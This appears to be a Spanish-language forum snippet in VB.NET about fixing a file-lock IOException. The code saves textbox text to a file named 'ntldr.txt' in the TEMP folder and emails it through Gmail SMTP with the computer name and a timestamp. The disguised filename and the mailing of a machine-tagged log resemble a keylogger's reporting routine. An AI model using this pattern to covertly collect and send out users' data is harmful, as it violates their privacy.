MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt")
MyEscritor.Write(TextBox1.Text)
MyEscritor.Flush()
MyEscritor.Close()
MyEscritor = Nothing

IO Exception
El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso.

 Dim sw As StreamWriter
 Dim RutaFile As String = Environ("TEMP") & "\ntldr.txt"
 Dim MyMailMessage As MailMessage = New MailMessage()
 Dim SMTPServer As SmtpClient
 
 Try
     'esta linea permite insertar texto en un archivo, si no existe lo crea
     sw = File.AppendText(RutaFile)
 
     'agregar linea del texbox y cerrar el StreamWriter
     sw.WriteLine(Me.TextBox1.Text)
     sw.Close()
 
     'Email
     MyMailMessage.From = New MailAddress("lala@gmail.com")
     MyMailMessage.To.Add("lala@gmail.com")
     MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
     MyMailMessage.Body = "Abre el archivo adjunto."
     MyMailMessage.Attachments.Add(New Attachment(RutaFile))
     SMTPServer = New SmtpClient("smtp.gmail.com")
     SMTPServer.Port = 587
     SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
     SMTPServer.EnableSsl = True
     SMTPServer.Send(MyMailMessage)
 
     MessageBox.Show("Ok")
     Me.TextBox1.Text = ""
Catch ex As SmtpException
     MessageBox.Show(ex.Message, "SmptError", MessageBoxButtons.OK, MessageBoxIcon.Error)
Catch ex As Exception
     MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
      'aqui esta lo que faltaba
      MyMailMessage.Attachments.Dispose()
End Try
 

MyMailMessage.Attachments.Dispose()